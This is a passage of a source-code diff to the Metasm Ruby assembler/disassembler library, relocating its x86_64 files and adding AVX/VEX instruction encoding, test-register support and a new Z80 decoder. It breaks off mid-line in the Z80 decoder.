ft.varargs and @state.args_space == 0 # gcc stores here the nr of xmm args passed, real args are passed the standard way - # TODO check visualstudio/ms ABI instr 'xor', rax, rax inuse rax + regargs_unuse << rax end @@ -699,6 +706,7 @@ class CCompiler < C::Compiler else instr 'pop', Reg.new(reg, 64) end + inuse getreg(reg) } retreg end @@ -750,8 +758,10 @@ class CCompiler < C::Compiler case op when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM + r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM) + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz # add rax, word [moo] unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [rax], bl instr op, l, i_to_i32(r) when 'shr', 'sar', 'shl' if r.kind_of? Expression @@ -951,7 +961,7 @@ class CCompiler < C::Compiler end @state.offset[a] = off else - @state.offset[a] = -argoff + @state.offset[a] = -argoff argoff = (argoff + sizeof(a) + 7) / 8 * 8 end } @@ -1011,10 +1021,6 @@ class CCompiler < C::Compiler def c_program_epilog end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end end def new_ccompiler(parser, exe=ExeFormat.new) diff --git a/lib/metasm/metasm/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb similarity index 90% rename from lib/metasm/metasm/x86_64/debug.rb rename to lib/metasm/metasm/cpu/x86_64/debug.rb index 3559d91f70..10d35e5507 100644 --- a/lib/metasm/metasm/x86_64/debug.rb +++ b/lib/metasm/metasm/cpu/x86_64/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' module Metasm class X86_64 @@ -15,7 +15,7 @@ class X86_64 @dbg_register_flags ||= :rflags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] end @@ -40,10 +40,10 @@ class X86_64 end def dbg_func_arg_set(dbg, argnr, arg) if dbg.class.name =~ /win/i - list = [] + list = [:rcx, :rdx, :r8, :r9] off = 0x20 else - list = [] + list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] off = 0 end if r = list[argnr] diff --git a/lib/metasm/metasm/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb similarity index 73% rename from lib/metasm/metasm/x86_64/decode.rb rename to lib/metasm/metasm/cpu/x86_64/decode.rb index 5e9032e72b..59729fa054 100644 --- a/lib/metasm/metasm/x86_64/decode.rb +++ b/lib/metasm/metasm/cpu/x86_64/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' require 'metasm/decode' module Metasm @@ -15,7 +15,7 @@ class X86_64 rm = byte & 7 if m == 3 - rm |= 8 if pfx[:rex_b] + rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64) # mm8 -> mm0 return regclass.new(rm, opsz) end @@ -30,10 +30,15 @@ class X86_64 sib = edata.get_byte.to_i ii = (sib >> 3) & 7 - ii |= 8 if pfx[:rex_x] + ii |= 8 if pfx[:rex_x] if ii != 4 s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) + if pfx[:mrmvex] + i = SimdReg.new(ii, pfx[:mrmvex]) + else + i = Reg.new(ii, adsz) + end + end bb = sib & 7 @@ -62,6 +67,7 @@ class X86_64 imm = Expression[imm.reduce & ((1 << adsz) - 1)] end + opsz = pfx[:argsz] if pfx[:argsz] new adsz, opsz, s, i, b, imm, seg end end @@ -103,7 +109,26 @@ class X86_64 v } - opsz = op.props[:argsz] || (pfx[:rex_w] ? 64 : (pfx[:opsz] ? 16 : (op.props[:auto64] ? 64 : 32))) + pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0 + pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0 + pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0 + pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1 + di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty? # for opsz(di) + vex_w + + case op.props[:needpfx] + when 0x66; pfx.delete :opsz + when 0x67; pfx.delete :adsz + when 0xF2, 0xF3; pfx.delete :rep + end + + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + + opsz = op.props[:argsz] || opsz(di) adsz = pfx[:adsz] ? 32 : 64 mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 @@ -112,22 +137,31 @@ class X86_64 when :reg; Reg.new field_val_r[a], opsz when :eeec; CtrlReg.new field_val_r[a] when :eeed; DbgReg.new field_val_r[a] + when :eeet; TstReg.new field_val_r[a] when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regmmx; SimdReg.new field_val_r[a], mmxsz + when :regmmx; SimdReg.new field_val[a], mmxsz # rex_r ignored when :regxmm; SimdReg.new field_val_r[a], 128 + when :regymm; SimdReg.new field_val_r[a], 256 when :farptr; Farptr.decode edata, @endianness, opsz when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] when :i # 64bit constants are sign-extended from :i32 type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) - v = edata.decode_imm(type, @endianness) + v = edata.decode_imm(type, @endianness) v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer Expression[v] - when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx[:seg]) - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg], Reg, pfx - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg, pfx - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg, pfx + when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg)) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz]) + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128) + when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256) when :regfp; FpReg.new field_val[a] when :imm_val1; Expression[1] @@ -142,6 +176,8 @@ class X86_64 di.bin_length += edata.ptr - before_ptr + return if edata.ptr > edata.length + if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' if op.name == 'movsxd' di.instruction.args[1].sz = 32 @@ -157,12 +193,13 @@ class X86_64 else di.instruction.args[0].sz = 32 end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 end # sil => bh di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } - pfx.delete :seg case pfx.delete(:rep) when :nz if di.opcode.props[:strop] @@ -194,18 +231,24 @@ class X86_64 di end - def opsz(di) + def opsz(di, op=nil) if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 - elsif di and di.instruction.prefix and di.instruction.prefix[:opsz]; 16 - elsif di and di.opcode.props[:auto64]; 64 + elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16 + elsif di and (op || di.opcode).props[:auto64]; 64 else 32 end end + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32 + else 64 + end + end + def register_symbols [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] end - + # returns a DecodedFunction from a parsed C function prototype def decode_c_function_prototype(cp, sym, orig=nil) sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) @@ -235,7 +278,7 @@ class X86_64 end al = cp.typesize[:ptr] - df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] + df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] # scan args for function pointers # TODO walk structs/unions.. diff --git a/lib/metasm/metasm/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb similarity index 77% rename from lib/metasm/metasm/x86_64/encode.rb rename to lib/metasm/metasm/cpu/x86_64/encode.rb index ed77d7500d..cba3e13c8f 100644 --- a/lib/metasm/metasm/x86_64/encode.rb +++ b/lib/metasm/metasm/cpu/x86_64/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' require 'metasm/encode' module Metasm @@ -64,7 +64,7 @@ class X86_64 # sib or_bits[4] - @b, @i = @i, @b if @s == 1 and (@i.val_enc == 4 or @b.val_enc == 5) + @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5) raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 @@ -116,23 +116,30 @@ class X86_64 case k when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] end }.compact.pack 'C*' - pfx << op.props[:needpfx] if op.props[:needpfx] - rex_w = rex_r = rex_x = rex_b = nil + rex_w = rex_r = rex_x = rex_b = 0 if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' case i.args[0].sz when 64; rex_w = 1 when 32 when 16; pfx << 0x66 end + elsif op.name == 'crc32' + case i.args[1].sz + when 64; rex_w = 1 + when 32; + when 16; pfx << 0x66 + end else opsz = op.props[:argsz] || i.prefix[:sz] oi.each { |oa, ia| case oa - when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm + when :reg, :reg_eax, :modrm, :mrm_imm raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz opsz = ia.sz end @@ -140,7 +147,7 @@ class X86_64 opsz ||= 64 if op.props[:auto64] opsz = op.props[:opsz] if op.props[:opsz] # XXX ? case opsz - when 64; rex_w = 1 if not op.props[:auto64] + when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or op.props[:opsz] == 64) when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] when 16; pfx << 0x66 end @@ -168,25 +175,27 @@ class X86_64 when :reg set_field[oa, ia.val_enc] if op.fields[:reg][1] == 3 - rex_r = ia.val_rex + rex_r = ia.val_rex || 0 else - rex_b = ia.val_rex + rex_b = ia.val_rex || 0 end - when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regxmm, :regmmx + when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm set_field[oa, ia.val & 7] rex_r = 1 if ia.val > 7 pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 # implicit - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm # postpone, but we must set rex now case ia when ModRM ia.encode(0, @endianness) # could swap b/i - rex_x = ia.i.val_rex if ia.i - rex_b = ia.b.val_rex if ia.b + rex_x = ia.i.val_rex || 0 if ia.i + rex_b = ia.b.val_rex || 0 if ia.b when Reg - rex_b = ia.val_rex + rex_b = ia.val_rex || 0 else rex_b = ia.val >> 3 end @@ -196,7 +205,7 @@ class X86_64 end } - if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty? + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? # reg field of modrm regval = (base[-1] >> 3) & 7 base.pop @@ -210,20 +219,26 @@ class X86_64 postponed.first[1] = Expression[target, :-, postlabel] end - if rex_w == 1 or rex_r == 1 or rex_b == 1 or rex_x == 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } - rex ||= 0x40 - rex |= 1 if rex_b.to_i > 0 - rex |= 2 if rex_x.to_i > 0 - rex |= 4 if rex_r.to_i > 0 - rex |= 8 if rex_w.to_i > 0 + pfx << op.props[:needpfx] if op.props[:needpfx] + + if op.fields[:vex_r] + set_field[:vex_r, rex_r ^ 1] + set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x] + set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b] + set_field[:vex_w, rex_w] if op.fields[:vex_w] + elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } + rex = 0x40 + rex |= 1 if rex_b == 1 + rex |= 2 if rex_x == 1 + rex |= 4 if rex_r == 1 + rex |= 8 if rex_w == 1 + pfx << rex end - pfx << rex if rex ret = EncodedData.new(pfx + base.pack('C*')) postponed.each { |oa, ia| case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmA, :modrmmmx, :modrmxmm + when :modrm, :modrmmmx, :modrmxmm, :modrmymm if ia.kind_of? ModRM ed = ia.encode(regval, @endianness) if ed.kind_of?(::Array) @@ -243,8 +258,22 @@ class X86_64 when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) when :i - type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym) - ed = ia.encode(type, @endianness) + type = if opsz == 64 + if op.props[:imm64] + :a64 + else + if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1 + # handle 0xffffffff_ffffffff -> -1, which should fit in i32 + ia = Expression[_ia - (1 << 64)] + end + :i32 + end + else + "a#{opsz}".to_sym + end + ed = ia.encode(type, @endianness) + when :i4xmm, :i4ymm + ed = ia.val << 4 # u8 else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" end diff --git a/lib/metasm/metasm/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb similarity index 89% rename from lib/metasm/metasm/x86_64/main.rb rename to lib/metasm/metasm/cpu/x86_64/main.rb index 2afed391d9..7c9b74250c 100644 --- a/lib/metasm/metasm/x86_64/main.rb +++ b/lib/metasm/metasm/cpu/x86_64/main.rb @@ -5,19 +5,27 @@ require 'metasm/main' -require 'metasm/ia32' +require 'metasm/cpu/ia32' module Metasm # The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) class X86_64 < Ia32 # FpReg, SegReg, Farptr unchanged - # XXX ST(15) ? - # Simd extended to 16 regs, xmm only (mmx gone with 80387) + # XMM extended to 16 regs, YMM class SimdReg < Ia32::SimdReg - double_map 64 => (0..15).map { |n| "mm#{n}" }, - 128 => (0..15).map { |n| "xmm#{n}" } + double_map 64 => (0..7).map { |n| "mm#{n}" }, + 128 => (0..15).map { |n| "xmm#{n}" }, + 256 => (0..15).map { |n| "ymm#{n}" } + + def val_enc + @val & 7 + end + + def val_rex + @val >> 3 + end end # general purpose registers, all sizes @@ -94,6 +102,10 @@ class X86_64 < Ia32 simple_map((0..15).map { |i| [i, "cr#{i}"] }) end + class TstReg < Ia32::TstReg + simple_map((0..15).map { |i| [i, "tr#{i}"] }) + end + # Create a new instance of an X86 cpu # arguments (any order) # - instruction set (386, 486, sse2...) [latest] @@ -121,7 +133,7 @@ class X86_64 < Ia32 def str_to_reg(str) # X86_64::Reg != Ia32::Reg - Reg.from_str(str) if Reg.s_to_i.has_key? str + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil end def shortname diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb new file mode 100644 index 0000000000..149c090948 --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/opcodes.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/main' +require 'metasm/cpu/ia32/opcodes' + +module Metasm +class X86_64 + def init_cpu_constants + super() + [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true } + end + + def init_386_common_only + super() + # :imm64 => accept a real int64 as :i argument + # :auto64 => ignore rex_w, always 64-bit op + # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest + [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true } + @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix + @opcode_list.each { |o| + o.props[:imm64] = true if o.bin == [0xB8] # mov reg, + o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/ + } + addop 'movsxd', [0x63], :mrm + addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } + addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } + end + + # all x86_64 cpu understand <= sse2 instrs + def init_x8664_only + init_386_common_only + init_386_only + init_387_only + init_486_only + init_pentium_only + init_p6_only + init_sse_only + init_sse2_only + + @opcode_list.delete_if { |o| + o.args.include?(:seg2) or + o.args.include?(:seg2A) or + o.args.include?(:farptr) or + %w[aaa aad aam aas bound daa das into jcxz jecxz + lds les loadall arpl pusha pushad popa + popad].include?(o.name.split('.')[0]) + # split needed for lds.a32 + } + + @opcode_list.each { |o| + o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/ + } + + addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 } + addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop + addop 'swapgs', [0x0F, 0x01, 0xF8] + + addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } + addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 + addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } + end + + def init_sse3 + init_x8664_only + init_sse3_only + end + + def init_sse41_only + super() + addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + end + + def init_avx_only + super() + addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrostr(name, bin, type) + super(name, bin, type) + bin = bin.dup + bin[0] |= 1 + addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } + end + + def addop_macroret(name, bin, *args) + addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 } + super(name, bin, *args) + end + + def addop_post(op) + if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 + return super(op) + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if op.args == [:i] or op.name == 'ret' + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + # push call ret jz can't 32bit + op64 = op.dup + op64.name << '.i64' + op64.props[:opsz] = 64 + @opcode_list << op64 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (movsq) + # XXX loop pfx 67 = rip+ecx, 66/rex ignored + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + op64 = op.dup + op64.name << '.a64' + op64.props[:adsz] = 64 + @opcode_list << op64 + end + end +end +end diff --git a/lib/metasm/metasm/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb similarity index 77% rename from lib/metasm/metasm/x86_64/parse.rb rename to lib/metasm/metasm/cpu/x86_64/parse.rb index 0435eac521..8a558ba1df 100644 --- a/lib/metasm/metasm/x86_64/parse.rb +++ b/lib/metasm/metasm/cpu/x86_64/parse.rb @@ -4,8 +4,8 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' -require 'metasm/x86_64/encode' +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/cpu/x86_64/encode' require 'metasm/parse' module Metasm @@ -29,7 +29,7 @@ class X86_64 # needed due to how ruby inheritance works wrt constants def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] end # same inheritance sh*t def parse_modrm(lex, tok, cpu) @@ -52,6 +52,8 @@ class X86_64 return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 + # vex c4/c5 + return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) if o.name == 'movsxd' return if not arg.kind_of? Reg and not arg.kind_of? ModRM arg.sz ||= 32 @@ -62,7 +64,13 @@ class X86_64 return arg.sz == 32 end end + return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0 + super(o, spec, arg) end + + def check_reserved_name(name) + Reg.s_to_i[name] + end end end diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb new file mode 100644 index 0000000000..c14813f01c --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/render.rb @@ -0,0 +1,35 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/render' + +module Metasm +class X86_64 + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "[re]?#{r}x|#{r}l" + ret["#{r}h"] = "[re]?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" + } + + (8..15).each { |i| + r = "r#{i}" + ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" + } + + ret['eip'] = ret['rip'] = '[re]ip' + + ret + end +end +end diff --git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb new file mode 100644 index 0000000000..a842092909 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80.rb @@ -0,0 +1,9 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/z80/decode' +require 'metasm/cpu/z80/render' diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb new file mode 100644 index 0000000000..f4f6898646 --- /dev/null +++ b/lib/metasm/metasm/cpu/z80/decode.rb @@ -0,0 +1,313 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/z80/opcodes' +require 'metasm/decode' + +module Metasm +class Z80 + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = Array.new(op.bin.length, 0) + op.fields.each { |f, (oct, off)| + op.bin_mask[oct] |= (@fields_mask[f] << off) + } + op.bin_mask.map! { |v| 255 ^ v } + end + + def build_bin_lookaside + # sets up a hash byte value => list of opcodes that may match + # opcode.bin_mask is built here + lookaside = Array.new(256) { [] } + opcode_list.each { |op| + build_opcode_bin_mask op + b = op.bin[0] + msk = op.bin_mask[0] + next @unknown_opcode = op if not b + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b & msk + end + } + lookaside + end + + def decode_prefix(instr, byte) + case byte + when 0xDD; instr.prefix = 0xDD + when 0xFD; instr.prefix = 0xFD + # implicit 'else return false' + end + end + + # tries to find the opcode encoded at edata.ptr + # if no match, tries to match a prefix (update di.instruction.prefix) + # on match, edata.ptr points to the first byte of the opcode (after prefixes) + def decode_findopcode(edata) + di = DecodedInstruction.new self + while edata.ptr < edata.data.length + byte = edata.data[edata.ptr] + byte = byte.unpack('C').first if byte.kind_of?(::String) + return di if di.opcode = @bin_lookaside[byte].find { |op| + # fetch the relevant bytes from edata + bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') + # check against full opcode mask + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + + if decode_prefix(di.instruction, edata.get_byte) + nb = edata.data[edata.ptr] + nb = nb.unpack('C').first if nb.kind_of?(::String) + case nb + when 0xCB + # DD CB [] + di.instruction.prefix |= edata.get_byte << 8 + di.bin_length += 2 + opc = edata.data[edata.ptr+1] + opc = opc.unpack('C').first if opc.kind_of?(::String) + bseq = [0xCB, opc] + # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb + return di if di.opcode = @bin_lookaside[nb].find { |op| + op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } + } + when 0xED + di.instruction.prefix = nil + end + else + di.opcode = @unknown_opcode + return di + end + di.bin_length += 1 + end + end + + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length + pfx = di.instruction.prefix + + field_val = lambda { |f| + if fld = op.fields[f] + (bseq[fld[0]] >> fld[1]) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)] + when :iy; Expression[field_val[a]] + when :iy8; Expression[field_val[a]*8] + + when :rp + v = field_val[a] + Reg.new(16, v) + when :rp2 + v = field_val[a] + v = 4 if v == 3 + Reg.new(16, v) + when :ry, :rz + v = field_val[a] + if v == 6 + Memref.new(Reg.from_str('HL'), nil, 1) + else + Reg.new(8, v) + end + + when :r_a; Reg.from_str('A') + when :r_af; Reg.from_str('AF') + when :r_hl; 